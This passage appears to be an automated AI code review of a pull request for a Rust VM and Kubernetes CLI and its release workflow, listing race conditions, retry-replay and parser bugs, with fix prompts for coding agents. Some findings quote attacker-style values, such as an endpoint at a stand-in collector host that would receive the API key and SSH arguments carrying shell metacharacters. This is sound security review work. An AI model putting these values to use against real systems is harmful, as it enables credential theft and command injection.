kubectl get nodes -o jsonresponse containing two items with the samemetadata.name—for example, the first saysReady=Trueand has the expected labels/taints while the second hasReady=Falseor conflicting metadata—gets reduced to whichever item appears last. Callers then make readiness and reconciliation decisions from an arbitrary conflicting record instead of failing closed, potentially applying/removing metadata based on forged or stale node state. This is disproven only if the kubectl/API response is guaranteed to reject or never emit duplicate node names before this parser receives it. (k8s_cli/src/manager/parsing.rs) — inline-budget - 🟡 Medium The CLI README's control-plane fleet snippet is presented as a supported Version 1 configuration, but it omits required fields
cluster.nameandcluster.controlPlane.vmPrefix.FleetFiledeserialization requires both fields and validation explicitly rejects an empty control-plane prefix, so copying the documented snippet produces a parse error rather than a plan. (k8s_cli/README.md) — inline-budget - 🟡 Medium The verify-then-publish protocol does not prevent a tag move from producing a published release whose assets do not match the tag.
verifyreads the tag and compares it withBUILT_SHA, butpublishlater invokes the release API using only the mutabletag_name; a maintainer or attacker can move the tag in that interval, after which the assets are attached to the moved tag.confirmonly notices the mismatch after publication and does not remove or quarantine the already-published release, so the documented invariant that publication cannot silently attach old binaries to a moved tag is not achieved. This would be disproven only if the GitHub release action/API atomically binds the uploaded assets to the exact previously verified commit (rather than resolvingtag_nameat publication time). (.github/workflows/release.yml) — inline-budget - 🟡 Medium The documented
destroyworkflow cannot reliably delete all VMs that the fleet owns when the VM is absent fromexe.dev ls, despite the README presentingdestroy --fleet ...as deleting fleet-managed VMs. The implementation only selects names present in the inventory by default; the recovery/complete behavior is behind the undocumented--all-plannedflag. (k8s_cli/README.md) — inline-budget - 🟡 Medium A user/external label under
exedev.dev/is accepted by fleet validation but is later treated as tool-owned and deleted when it is absent from the current plan. For example, bootstrap withexedev.dev/test-case=shared, then remove that label from the fleet and bootstrap again:stale_owned_labelsemitsexedev.dev/test-case-, and status reports drift before deletion. This violates external metadata preservation and is inconsistent with the validation comment/test that explicitly permitsexedev.dev/test-case. (k8s_cli/src/manager/mod.rs) — anchor-unreliable - 🟡 Medium The release workflow's
resolvejob checks out the workflow ref before runningscripts/release/check-version.sh, even forworkflow_dispatchwhere it resolves an arbitrary requested tag via the API. Dispatching a release for a tag whose target commit predates the script (or whose workflow ref lacks it) fails before the requested tag is built, contrary to the documented/manual tag-release contract. (.github/workflows/release.yml) — anchor-unreliable - 🟡 Medium Both READMEs instruct users to start from
../fleet.example.yaml, but that checked-in example is rejected by the current fleet schema:sparePools.ingress.labelssetsexedev.dev/role: ingress, whileFleetFile::validate()reserves every key inGENERATED_LABEL_KEYS, includingexedev.dev/role, for tool-generated metadata. Running any command that loads the recommended example fails with the reserved-label validation error instead of provisioning the documented fleet. This would be false only if the validator allowed user-suppliedexedev.dev/role, which it explicitly does not. (k8s_cli/README.md) — anchor-unreliable - 🔵 Low The release documentation describes release compatibility but provides no operational step for updating the Homebrew tap, and the release workflow only uploads GitHub archives.
scripts/release/sync-homebrew-tap.shis never invoked by the workflow, so completing the documented CI release leaves Homebrew users on the old formula unless an undocumented manual action is performed. (README.md) — inline-budget - 🔵 Low Both CLI READMEs inaccurately describe
--jsonas printing raw JSON.print_responseparses JSON and emitsserde_json::to_string_pretty, while human mode unwraps APIoutput/error; thus the flag changes formatting/interpretation and does not preserve the raw HTTPS response bytes. Automation or fixtures that rely on the documented 'raw JSON' behavior can receive reformatted JSON and different wrapper handling. (cli/README.md) — inline-budget
♻️ Previously reported (still present) (7)
- 🟠 High A transport retry can replay a mutating remote script after it has already begun executing.
capture_remote_ssh_outputretries status 255 wheneveroutput.stdoutis empty, but the remote wrapper emits its exit marker only after the script finishes; if SSH loses the connection before that marker and the script produced no stdout (for example, an install command that is quiet until completion), the client sees empty stdout and resends the script even though the first attempt may already have changed the VM. This violates the no-replay invariant and can rerun package/service/bootstrap mutations. This would be disproven only if the SSH transport guaranteed status 255 with empty stdout cannot occur after remote command execution, which SSH does not guarantee. (k8s_cli/src/manager/process.rs) — previously-reported - 🟠 High The target-parent confinement and symlink checks are TOCTOU-vulnerable: an attacker able to modify the tap checkout can replace a checked path component with a symlink after validation, causing the staged formula to be created or renamed outside the tap. (scripts/release/sync-homebrew-tap.sh) — previously-reported
- 🟡 Medium
--jsonis appended after the entire fallback command, including the typedsshcommand's VM command. Thusexedev-ctl --json ssh target cmdconstructsssh exe.dev ssh target cmd --json;--jsonis no longer a CLI/API output option and is instead passed to the VM command, potentially altering or failing the requested remote command. This violates consistent JSON behavior for a command explicitly documented as SSH-only. The claim would be false only if exe.dev'ssshcommand universally strips/ignores trailing--jsonwhile still applying JSON output, which conflicts with the command construction and documented SSH semantics. (cli/src/ssh.rs) — previously-reported - 🟡 Medium The resolve job executes
scripts/release/check-version.shfrom the checkout's default event ref, not from the commit being released: its checkout has noref, while only build jobs checkoutneeds.resolve.outputs.sha. Thus a default-branch change can make resolve accept/reject or normalize a tag differently from the release commit'sset-version.sh, and arbitrary release-branch scripts are not the code validated before the build. This violates same-commit release-path integrity and allows unreviewed default-branch script code to run in resolve. (.github/workflows/release.yml) — anchor-unreliable - 🟡 Medium An explicitly empty version argument is silently replaced by RELEASE_TAG instead of being rejected. For example, with
RELEASE_TAG=v1.2.3,set-version.sh ''assignsVERSIONfrom the environment and updates the workspace to 1.2.3, whereas the script's documented argument is the requested version and check-version deliberately distinguishes an empty argument. A wrapper or CI input that expands to empty can therefore release the wrong version. (scripts/release/set-version.sh) — previously-reported - 🟡 Medium Rendered tables using the repository's UTF-8 bordered format are not parsed as inventory. A table such as
┌──────┬─────────┐\n│ NAME │ STATUS │\n├──────┼─────────┤\n│ vm-1 │ running │\n└──────┴─────────┘yields no VM names because the text parser takes the first whitespace-delimited token (│) rather than stripping borders and selecting the NAME column. If/execreturns this supported rendered-table shape inoutput, bootstrap sees an empty inventory and attempts duplicate creation. This is disproved only if the service contract guarantees rendered listings are always unbordered whitespace tables and never uses the documented/CLI UTF-8 rendering. (k8s_cli/src/manager/parsing.rs) — anchor-unreliable - 🔵 Low A failed formula write leaves the temporary staged formula behind in the tap directory, and repeated failures accumulate files that are not removed by the trap. (scripts/release/sync-homebrew-tap.sh) — previously-reported
❓ Low-evidence leads (not confirmed — verify before acting) (1)
- The README documents
exedev-k8s destroy --fleet fleet.yamlas the deletion procedure but omits the recovery condition and required flag for planned VMs absent from the inventory. By defaultrun_destroyfilters to names currently returned byls, so a VM that exists but is temporarily missing from inventory is not deleted; the implementation's recovery message directs operators todestroy --all-planned. The documented command can report no managed VMs and leave the VM behind. (k8s_cli/README.md)
🤖 Prompt for AI agents — all findings (47)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Unresolved from the previous review — these block approval, fix them first (8)
Somewhere in the code under review, address this finding:
The state-directory symlink defense is check-then-use and can be bypassed by swapping a checked directory component after `ensure_real_directories` returns but before staging/rename. An attacker able to modify the working directory can replace `.exedev-k8s` or the cluster directory with a symlink in that window; subsequent `OpenOptions::open` follows it and writes the secret outside the state directory. The same pathname race affects reads because `symlink_metadata` checks the final entry while parent components are followed during `File::open`.
Somewhere in the code under review, address this finding:
Plain-text fallback accepts arbitrary lowercase words as VM inventory entries, so non-table prose or malformed API responses can make an existing VM appear present and suppress creation/bootstrap.
In k8s_cli/src/manager/process.rs, address this finding:
A failed SSH exchange can retry after the remote script has already started, because retry eligibility checks only whether stdout is non-empty. If the remote side executes a state-changing install that emits only stderr (or the connection drops before the wrapper's stdout marker is delivered), ssh can exit 255 with empty stdout and the same script is resent up to four times. A failed stdin write after partial delivery has the same outcome when ssh exits 255. This violates the no-potential-execution retry invariant and can repeat Tailscale/k3s installation or service changes.
In .github/workflows/release.yml, address this finding:
The verify/confirm sequence does not prevent a tag race during publication: after `verify` checks the tag (lines 164-176), an actor can move it before `softprops/action-gh-release` attaches the archives at lines 197-210. GitHub releases are attached by tag name, so the release can permanently contain binaries built from `BUILT_SHA` while the tag points elsewhere; `confirm` (lines 216-237) only fails afterward and performs no deletion, retagging, or release correction. Thus a successful publish followed by a red workflow still leaves a mismatched public release. This is false only if the tag cannot be moved by any actor/token during the verify-to-publish window or if post-publication detection is explicitly considered sufficient rather than preventing the mismatch.
In k8s_cli/src/manager/mod.rs, address this finding:
New-cluster bootstrap can reuse an already-installed k3s server without verifying that it belongs to the requested cluster.
In scripts/release/sync-homebrew-tap.sh, address this finding:
The confinement check is pathname-based and can be bypassed by a concurrent symlink swap of a formula parent directory. After `FORMULA_PARENT_REAL` is checked, the script calls `mktemp` and later `mv` using the original path; if an attacker replaces a checked descendant (for example `tap/Formula/e`) with a symlink to an outside directory, `mktemp` creates the staged file outside the tap and `mv` writes there. The target-file symlink check does not protect parent components. This would be false only if the tap directory and all descendants were trusted against concurrent filesystem mutation for the entire run.
Somewhere in the code under review, address this finding:
The publish job grants `contents: write` to every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capable `github.token`; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures.
In k8s_cli/src/manager/process.rs, address this finding:
A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it. `capture_remote_ssh_output` retries solely from `output.status.code() == Some(255)` and ignores whether stdout already contains the wrapper's `__EXEDEV_K8S_EXIT__:` marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent.
## Findings on this change (also posted as inline comments) (7)
In k8s_cli/src/manager/parsing.rs around line 37, address this finding:
A valid JSON error response whose first output line starts with a syntactically valid VM name is treated as inventory when wrapped in the JSON `output` field. For example `{"output":"vm-1 is unavailable\n"}` makes `parse_vm_names` return `{"vm-1"}` because the text parser accepts the first token of every line and only rejects prose with non-name first tokens; bootstrap then suppresses creation of the planned VM. This is disproved only if wrapped non-JSON output is guaranteed always to be a table with a header, or the API guarantees errors cannot begin with a VM-shaped token.
In k8s_cli/src/manager/parsing.rs around line 124, address this finding:
Conflicting records for one VM silently overwrite the SSH destination instead of being rejected or treated as a conflict. For example, an outer record can report `{"vm_name":"worker-1","ssh_dest":"vm+worker-1@exe.dev"}` while a later record in `output`/`items` reports the same `vm_name` with `ssh_dest":"vm+other@exe.dev"`; traversal order makes the latter destination authoritative, so bootstrap can run the worker's installation script against the wrong VM while still believing it is operating on `worker-1`. This is disproven only if the exe.dev API contract guarantees that duplicate names can never occur across the merged wrapper/record sources (including intermediary or stale records).
In k8s_cli/src/manager/state.rs around line 128, address this finding:
The AlreadyExists branch treats any pre-existing regular file as the concurrent winner, so an attacker-planted destination (or a replacement after the link failure) is adopted as the cluster token without proving it was created by the competing bootstrap.
In .github/workflows/release.yml around line 243, address this finding:
The workflow only detects a tag move after publication; it does not prevent publishing archives to a tag that changed after verification. `verify` reads and compares the tag, then `publish` separately invokes the release action by mutable `tag_name`; a concurrent force-move between those jobs causes the action to attach the already-built archives to the new commit, and `confirm` can only fail after the mismatched release is live.
In .github/workflows/release.yml around line 241, address this finding:
A tag can move after `verify` passes but before (or during) `softprops/action-gh-release`, and publication is still performed against the mutable tag name rather than an immutable commit. In that race the release assets can be attached to a release whose tag points at a different commit; `confirm` only makes the workflow red after the bad release already exists and does not delete/repoint the release or assets.
In scripts/release/set-version.sh around line 66, address this finding:
The release lock is not recoverable after an untrappable termination: a SIGKILL (runner cancellation/host loss) after staging or applying leaves `.set-version.lock`, `.tmp`, and possibly `.bak` files, and the next invocation first refuses the stale lock and, after manually removing it, refuses the stale siblings. If the kill occurred after some moves, the workspace can remain split between versions with no supported automatic restoration path.
In core/src/client.rs around line 53, address this finding:
The HTTPS client accepts any string beginning with `https://` as a valid API endpoint and sends the bearer token and command to it, so a typo or attacker-controlled `--endpoint` such as `https://collector.example/exec` exfiltrates `EXE_DEV_API_KEY` (and commands). The documented API contract is specifically `https://exe.dev/exec`; scheme-only validation does not establish that destination. This is introduced/exposed by the configurable endpoint plus the new validation, and would be disproven only if callers are guaranteed out-of-band to constrain the endpoint host before this client is reached.
## Additional findings on this change (not posted inline) (25)
In cli/src/ssh.rs around line 16, address this finding:
SSH fallback does not preserve argument boundaries for command values containing whitespace or shell metacharacters. `run_ssh_fallback` passes each logical word with `command.args(words)`, but OpenSSH concatenates those arguments into a remote command that the remote shell reparses; e.g. `exedev-ctl comment vm 'staging copy'` is sent as `comment vm staging copy` and changes the comment arguments (and values containing `;` can become shell syntax). The displayed `shell_join` quoting is not used for the actual SSH invocation. This is introduced by the new transport path; it would be disproven if the target SSH server were known to receive argv boundaries rather than a reparsed command string, which OpenSSH remote command execution does not provide.
In k8s_cli/src/fleet.rs around line 323, address this finding:
Fleet validation does not validate the generated label/taint values derived from project and task map keys, so a syntactically parseable fleet can pass planning and create VMs before Kubernetes metadata application fails. For example, a task key `a/b` yields `exedev.dev/task=a/b` and a pool `project-a/b` yields a malformed taint `exedev.dev/pool=project-a/b:NoSchedule`; Kubernetes label values cannot contain `/`, and the taint value is not safely representable in the kubectl argument. The code validates only user-supplied labels, then inserts project/task/pool names directly into NodeSpec. This is introduced/exposed by the schema expansion accepting arbitrary YAML map keys without corresponding generated-value validation. This would be disproven if an upstream schema/parser constrained project and task names to the Kubernetes-safe grammar, but serde map keys are currently unrestricted.
In core/src/client.rs around line 68, address this finding:
The HTTP client buffers the entire response body without a size limit (`response.text().await`), even though the documented `/exec` contract limits request bodies but does not make response size bounded. With a user-controlled `--endpoint` pointing at an HTTPS server that streams a very large 2xx body, the CLI can consume unbounded memory before printing or failing. This is a concrete denial-of-service risk for the newly exposed custom HTTPS endpoint; it would be false only if an external invariant guarantees a strict small response limit for every endpoint accepted by the CLI, which endpoint validation does not establish.
In k8s_cli/src/fleet.rs around line 322, address this finding:
Workers and spare nodes never receive the generated `exedev.dev/role` label, even though `exedev.dev/role` is declared a generated identity key and user attempts to set it are rejected. A consumer selecting `exedev.dev/role=worker` or `=spare` therefore cannot distinguish the generated roles, and the metadata/status contract is incomplete for those roles.
In k8s_cli/src/manager/mod.rs, address this finding:
The ownership reconciler deletes user-supplied labels under `exedev.dev/` when they are removed from the fleet file, despite schema validation explicitly allowing non-generated keys under that prefix. For example, a node initially planned with `exedev.dev/test-case=shared` is later planned without that label; `stale_owned_labels` sees the key's prefix and emits `exedev.dev/test-case-`, deleting metadata that the contract says to preserve.
In k8s_cli/src/fleet.rs around line 69, address this finding:
The documented `replicas` override is accepted and presented as the default Kubernetes Pod replica count, but fleet expansion drops it entirely: `TaskPool.replicas` is explicitly dead code and `NodeSpec`/`FleetPlan` carry no replica information. Thus changing `projects.project1.tasks.a.replicas` from 1 to 100 produces an identical plan and cannot affect any deployment; the example and fixtures describe this field as an allocation/workload input. This is a violated stated schema obligation, unless replicas is intentionally only future metadata and the documentation/comments are changed to say it has no effect.
In k8s_cli/src/manager/parsing.rs around line 17, address this finding:
`parse_vm_names` can treat non-VM JSON objects as inventory because it unconditionally accepts a generic `name`/`vm` field without validating that the object is a VM record. For example, a successful wrapper such as `{"name":"planned","output":"[{\"vm_name\":\"other\"}]"}` (or any `data` metadata object with that shape) makes `planned` appear present; `fetch_inventory` then passes that set to `create_missing_vms`, which skips provisioning the planned VM even though the actual listing does not contain it. The same record can also seed an SSH destination under the wrong node name, because `parse_ssh_destinations` uses the same generic key set. This is an inventory/provisioning correctness bug: generic compatibility keys should only be used on recognized VM-list records, or the parser should require VM-specific fields/structure before indexing them. It would be disproven if the `/exec ls` contract guarantees that every object reachable at the parser's root or `vms`/`items`/`data` paths is a VM record and never includes wrapper/metadata objects with generic name fields.
In k8s_cli/src/manager/state.rs around line 51, address this finding:
Sanitized cluster names can still collide with an ordinary cluster name, causing credential overwrite/adoption across distinct clusters.
In scripts/release/set-version.sh around line 67, address this finding:
A SIGKILL, runner loss, or other untrappable termination after lock creation leaves `.set-version.lock` and possibly `.tmp`/`.bak` files behind. Every later invocation refuses the stale lock and cannot recover or unlock the workspace automatically, so a release checkout can remain permanently unusable without manual deletion and may retain a partially applied version change.
In scripts/release/sync-homebrew-tap.sh around line 156, address this finding:
The Homebrew script creates the explicit formula parent before checking that its resolved path is inside the tap. With `TAP_FORMULA_PATH=/outside/new/formula.rb`, `mkdir -p "$FORMULA_PARENT"` creates directories outside `TAP_REPO_PATH` and only then rejects the path, allowing an attacker-controlled or mistaken environment value to mutate arbitrary filesystem locations.
In scripts/release/sync-homebrew-tap.sh around line 132, address this finding:
An explicitly supplied TAP_FORMULA_PATH is not checked to correspond to FORMULA_NAME. Setting `TAP_FORMULA_PATH=$TAP_REPO_PATH/Formula/other.rb` passes the `.rb`, `..`, and symlink checks and causes the script to overwrite `other.rb` with an `exedev-cli` formula, even though the script's contract says it is generating the selected formula. This permits an incorrect or malicious environment configuration to mutate an unrelated tap formula.
In k8s_cli/README.md around line 73, address this finding:
The Fleet File section presents `cluster.controlPlane.nodes: 1` as a valid Version 1 configuration, but the shown configuration omits required `cluster.name` and `cluster.controlPlane.vmPrefix`. Deserialization fails before validation because both fields are non-optional.
In .github/workflows/release.yml around line 29, address this finding:
Manual dispatch can validate and build a different source revision than the requested tag, or fail before reaching the tag at all.
In scripts/release/set-version.sh around line 68, address this finding:
The version lock has no recoverable owner or stale-lock protocol: an untrappable termination leaves the directory lock and the script refuses every subsequent invocation solely because it exists. This is a concrete workspace availability failure after SIGKILL/runner loss, independent of ordinary EXIT/INT/TERM cleanup.
In k8s_cli/src/fleet.rs, address this finding:
Generated metadata is not validated even though it is sent directly to kubectl, so valid YAML can make bootstrap fail after VM creation. Project/task names are unconstrained and are inserted into label values and the pool name is used in the taint value; for example a project key longer than 63 characters or containing `_`/`/` produces `exedev.dev/project=<invalid>` (and `exedev.dev/pool=...`), causing `kubectl label`/`taint` to reject the command. The failure occurs in `apply_node_metadata`, after the VMs and k3s have already been provisioned, leaving a partially bootstrapped cluster.
In k8s_cli/src/manager/parsing.rs around line 68, address this finding:
Generic/error JSON objects can be mistaken for VM inventory because any object-level `name`/`vm` string is accepted without requiring a listing-record shape or a successful status. For example, `{"error":"quota exceeded","name":"vm-1"}` (or an envelope metadata object with `name":"vm-1"`) inserts `vm-1`, so `create_missing_vms` skips creation even though the response is not a VM listing; if it also carries destination fields, the same false record can seed an SSH target. This is disproved only if the API contract guarantees error/envelope objects can never contain these keys or if the caller rejects such responses before parsing.
In k8s_cli/src/manager/parsing.rs around line 252, address this finding:
Duplicate Kubernetes node records are silently last-write-wins. A `kubectl get nodes -o json` response containing two items with the same `metadata.name`—for example, the first says `Ready=True` and has the expected labels/taints while the second has `Ready=False` or conflicting metadata—gets reduced to whichever item appears last. Callers then make readiness and reconciliation decisions from an arbitrary conflicting record instead of failing closed, potentially applying/removing metadata based on forged or stale node state. This is disproven only if the kubectl/API response is guaranteed to reject or never emit duplicate node names before this parser receives it.
In k8s_cli/README.md around line 76, address this finding:
The CLI README's control-plane fleet snippet is presented as a supported Version 1 configuration, but it omits required fields `cluster.name` and `cluster.controlPlane.vmPrefix`. `FleetFile` deserialization requires both fields and validation explicitly rejects an empty control-plane prefix, so copying the documented snippet produces a parse error rather than a plan.
In .github/workflows/release.yml around line 242, address this finding:
The verify-then-publish protocol does not prevent a tag move from producing a published release whose assets do not match the tag. `verify` reads the tag and compares it with `BUILT_SHA`, but `publish` later invokes the release API using only the mutable `tag_name`; a maintainer or attacker can move the tag in that interval, after which the assets are attached to the moved tag. `confirm` only notices the mismatch after publication and does not remove or quarantine the already-published release, so the documented invariant that publication cannot silently attach old binaries to a moved tag is not achieved. This would be disproven only if the GitHub release action/API atomically binds the uploaded assets to the exact previously verified commit (rather than resolving `tag_name` at publication time).
In k8s_cli/README.md around line 156, address this finding:
The documented `destroy` workflow cannot reliably delete all VMs that the fleet owns when the VM is absent from `exe.dev ls`, despite the README presenting `destroy --fleet ...` as deleting fleet-managed VMs. The implementation only selects names present in the inventory by default; the recovery/complete behavior is behind the undocumented `--all-planned` flag.
In k8s_cli/src/manager/mod.rs, address this finding:
A user/external label under `exedev.dev/` is accepted by fleet validation but is later treated as tool-owned and deleted when it is absent from the current plan. For example, bootstrap with `exedev.dev/test-case=shared`, then remove that label from the fleet and bootstrap again: `stale_owned_labels` emits `exedev.dev/test-case-`, and status reports drift before deletion. This violates external metadata preservation and is inconsistent with the validation comment/test that explicitly permits `exedev.dev/test-case`.
In .github/workflows/release.yml, address this finding:
The release workflow's `resolve` job checks out the workflow ref before running `scripts/release/check-version.sh`, even for `workflow_dispatch` where it resolves an arbitrary requested tag via the API. Dispatching a release for a tag whose target commit predates the script (or whose workflow ref lacks it) fails before the requested tag is built, contrary to the documented/manual tag-release contract.
In k8s_cli/README.md, address this finding:
Both READMEs instruct users to start from `../fleet.example.yaml`, but that checked-in example is rejected by the current fleet schema: `sparePools.ingress.labels` sets `exedev.dev/role: ingress`, while `FleetFile::validate()` reserves every key in `GENERATED_LABEL_KEYS`, including `exedev.dev/role`, for tool-generated metadata. Running any command that loads the recommended example fails with the reserved-label validation error instead of provisioning the documented fleet. This would be false only if the validator allowed user-supplied `exedev.dev/role`, which it explicitly does not.
In README.md around line 70, address this finding:
The release documentation describes release compatibility but provides no operational step for updating the Homebrew tap, and the release workflow only uploads GitHub archives. `scripts/release/sync-homebrew-tap.sh` is never invoked by the workflow, so completing the documented CI release leaves Homebrew users on the old formula unless an undocumented manual action is performed.
In cli/README.md around line 134, address this finding:
Both CLI READMEs inaccurately describe `--json` as printing raw JSON. `print_response` parses JSON and emits `serde_json::to_string_pretty`, while human mode unwraps API `output`/`error`; thus the flag changes formatting/interpretation and does not preserve the raw HTTPS response bytes. Automation or fixtures that rely on the documented 'raw JSON' behavior can receive reformatted JSON and different wrapper handling.
## Previously reported and still present (7)
In k8s_cli/src/manager/process.rs around line 314, address this finding:
A transport retry can replay a mutating remote script after it has already begun executing. `capture_remote_ssh_output` retries status 255 whenever `output.stdout` is empty, but the remote wrapper emits its exit marker only after the script finishes; if SSH loses the connection before that marker and the script produced no stdout (for example, an install command that is quiet until completion), the client sees empty stdout and resends the script even though the first attempt may already have changed the VM. This violates the no-replay invariant and can rerun package/service/bootstrap mutations. This would be disproven only if the SSH transport guaranteed status 255 with empty stdout cannot occur after remote command execution, which SSH does not guarantee.
In scripts/release/sync-homebrew-tap.sh around line 157, address this finding:
The target-parent confinement and symlink checks are TOCTOU-vulnerable: an attacker able to modify the tap checkout can replace a checked path component with a symlink after validation, causing the staged formula to be created or renamed outside the tap.
In cli/src/ssh.rs around line 17, address this finding:
`--json` is appended after the entire fallback command, including the typed `ssh` command's VM command. Thus `exedev-ctl --json ssh target cmd` constructs `ssh exe.dev ssh target cmd --json`; `--json` is no longer a CLI/API output option and is instead passed to the VM command, potentially altering or failing the requested remote command. This violates consistent JSON behavior for a command explicitly documented as SSH-only. The claim would be false only if exe.dev's `ssh` command universally strips/ignores trailing `--json` while still applying JSON output, which conflicts with the command construction and documented SSH semantics.
In .github/workflows/release.yml, address this finding:
The resolve job executes `scripts/release/check-version.sh` from the checkout's default event ref, not from the commit being released: its checkout has no `ref`, while only build jobs checkout `needs.resolve.outputs.sha`. Thus a default-branch change can make resolve accept/reject or normalize a tag differently from the release commit's `set-version.sh`, and arbitrary release-branch scripts are not the code validated before the build. This violates same-commit release-path integrity and allows unreviewed default-branch script code to run in resolve.
In scripts/release/set-version.sh around line 14, address this finding:
An explicitly empty version argument is silently replaced by RELEASE_TAG instead of being rejected. For example, with `RELEASE_TAG=v1.2.3`, `set-version.sh ''` assigns `VERSION` from the environment and updates the workspace to 1.2.3, whereas the script's documented argument is the requested version and check-version deliberately distinguishes an empty argument. A wrapper or CI input that expands to empty can therefore release the wrong version.
In k8s_cli/src/manager/parsing.rs, address this finding:
Rendered tables using the repository's UTF-8 bordered format are not parsed as inventory. A table such as `┌──────┬─────────┐\n│ NAME │ STATUS │\n├──────┼─────────┤\n│ vm-1 │ running │\n└──────┴─────────┘` yields no VM names because the text parser takes the first whitespace-delimited token (`│`) rather than stripping borders and selecting the NAME column. If `/exec` returns this supported rendered-table shape in `output`, bootstrap sees an empty inventory and attempts duplicate creation. This is disproved only if the service contract guarantees rendered listings are always unbordered whitespace tables and never uses the documented/CLI UTF-8 rendering.
In scripts/release/sync-homebrew-tap.sh around line 246, address this finding:
A failed formula write leaves the temporary staged formula behind in the tap directory, and repeated failures accumulate files that are not removed by the trap.
📜 Review details
Model
- gpt-5.6-luna
Coverage
- 7 of 7 areas reviewed
| } else { | ||
| // A rendered table is merged like a serialized one; skipping it | ||
| // when the outer object already named something dropped every row. | ||
| names.extend(parse_vm_names_from_text(output)); |
There was a problem hiding this comment.
🎯 Correctness | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact exe.dev error payload formats are not established in the repository, but any valid JSON response with an output string beginning with a VM-shaped token follows this reachable path.
🤖 Prompt for AI agents
In k8s_cli/src/manager/parsing.rs, address this finding:
A valid JSON error response whose first output line starts with a syntactically valid VM name is treated as inventory when wrapped in the JSON `output` field. For example `{"output":"vm-1 is unavailable\n"}` makes `parse_vm_names` return `{"vm-1"}` because the text parser accepts the first token of every line and only rejects prose with non-name first tokens; bootstrap then suppresses creation of the planned VM. This is disproved only if wrapped non-JSON output is guaranteed always to be a table with a header, or the API guarantees errors cannot begin with a VM-shaped token.
| if let Some(name) = name | ||
| && let Some(destination) = ssh_destination_from_object(object) | ||
| { | ||
| destinations.insert(name.to_string(), destination); |
There was a problem hiding this comment.
🔍 Data Integrity | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The repository documentation does not establish whether the exe.dev API guarantees that duplicate VM names cannot appear across the outer wrapper and nested output; if such a guarantee exists, the triggering input would be outside the supported contract.
🤖 Prompt for AI agents
In k8s_cli/src/manager/parsing.rs, address this finding:
Conflicting records for one VM silently overwrite the SSH destination instead of being rejected or treated as a conflict. For example, an outer record can report `{"vm_name":"worker-1","ssh_dest":"vm+worker-1@exe.dev"}` while a later record in `output`/`items` reports the same `vm_name` with `ssh_dest":"vm+other@exe.dev"`; traversal order makes the latter destination authoritative, so bootstrap can run the worker's installation script against the wrong VM while still believing it is operating on `worker-1`. This is disproven only if the exe.dev API contract guarantees that duplicate names can never occur across the merged wrapper/record sources (including intermediary or stale records).
| sync?; | ||
| Ok(token) | ||
| } | ||
| Err(err) if err.kind() == io::ErrorKind::AlreadyExists => { |
There was a problem hiding this comment.
🔀 Concurrency | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In k8s_cli/src/manager/state.rs, address this finding:
The AlreadyExists branch treats any pre-existing regular file as the concurrent winner, so an attacker-planted destination (or a replacement after the link failure) is adopted as the cluster token without proving it was created by the competing bootstrap.
| uses: softprops/action-gh-release@3d0d9888cb7fd7b750713d6e236d1fcb99157228 | ||
| with: | ||
| tag_name: ${{ steps.meta.outputs.tag }} | ||
| tag_name: ${{ needs.resolve.outputs.tag }} |
There was a problem hiding this comment.
🎯 Correctness | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact GitHub API behavior under a simultaneous force-move is not executable here, but the workflow clearly performs an unconditional tag-name-based release after a separate point-in-time verification, so the race is inherent in the sequence.
🤖 Prompt for AI agents
In .github/workflows/release.yml, address this finding:
The workflow only detects a tag move after publication; it does not prevent publishing archives to a tag that changed after verification. `verify` reads and compares the tag, then `publish` separately invokes the release action by mutable `tag_name`; a concurrent force-move between those jobs causes the action to attach the already-built archives to the new commit, and `confirm` can only fail after the mismatched release is live.
| # runs with contents: write, so retagging upstream would hand a new | ||
| # revision the ability to rewrite this repository's releases. | ||
| # softprops/action-gh-release v3.0.2 | ||
| uses: softprops/action-gh-release@3d0d9888cb7fd7b750713d6e236d1fcb99157228 |
There was a problem hiding this comment.
🎯 Correctness | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ The exact prior contents of the workflow are not available in the review tools, so whether the tag-based release publication was newly added versus retained cannot be established from the head revision alone; the changed workflow nevertheless implements the vulnerable verify-then-publish protocol.
🤖 Prompt for AI agents
In .github/workflows/release.yml, address this finding:
A tag can move after `verify` passes but before (or during) `softprops/action-gh-release`, and publication is still performed against the mutable tag name rather than an immutable commit. In that race the release assets can be attached to a release whose tag points at a different commit; `confirm` only makes the workflow red after the bad release already exists and does not delete/repoint the release or assets.
| # Two concurrent invocations would otherwise both pass the sibling checks below, | ||
| # interleave their moves, and overwrite each other's backups so neither could be | ||
| # rolled back. | ||
| LOCK_DIR="$REPO_ROOT/.set-version.lock" |
There was a problem hiding this comment.
🎯 Correctness | 🟠 High
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
🤖 Prompt for AI agents
In scripts/release/set-version.sh, address this finding:
The release lock is not recoverable after an untrappable termination: a SIGKILL (runner cancellation/host loss) after staging or applying leaves `.set-version.lock`, `.tmp`, and possibly `.bak` files, and the next invocation first refuses the stale lock and, after manually removing it, refuses the stale siblings. If the kill occurred after some moves, the workspace can remain split between versions with no supported automatic restoration path.
| // Every request carries the API key as a bearer token, so the endpoint has | ||
| // to be HTTPS: `--endpoint http://elsewhere/collect` would otherwise send | ||
| // the key and the command in the clear to whatever the caller named. | ||
| if !self.endpoint.to_ascii_lowercase().starts_with("https://") { |
There was a problem hiding this comment.
🔒 Security | 🟠 High
🧩 Analysis
